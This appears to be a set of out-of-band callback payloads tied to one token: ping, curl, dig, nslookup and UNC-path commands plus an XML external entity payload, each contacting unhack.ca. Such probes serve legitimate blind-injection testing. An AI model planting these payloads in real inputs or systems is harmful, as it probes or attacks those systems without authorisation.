$ ping -c1 -p 00314414d00f79612d3675f480765c00 unhack.ca
 

$ curl http://unhack.ca/p/314414d00f79612d3675f480765c
 

$ dig 314414d00f79612d3675f480765c @unhack.ca
 

$ dig 314414d00f79612d3675f480765c.ns.unhack.ca
 

C:\> nslookup 314414d00f79612d3675f480765c unhack.ca
 

C:\> type \\unhack.ca\314414d00f79612d3675f480765c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/314414d00f79612d3675f480765c">]>
    <foo>&xxe;</foo>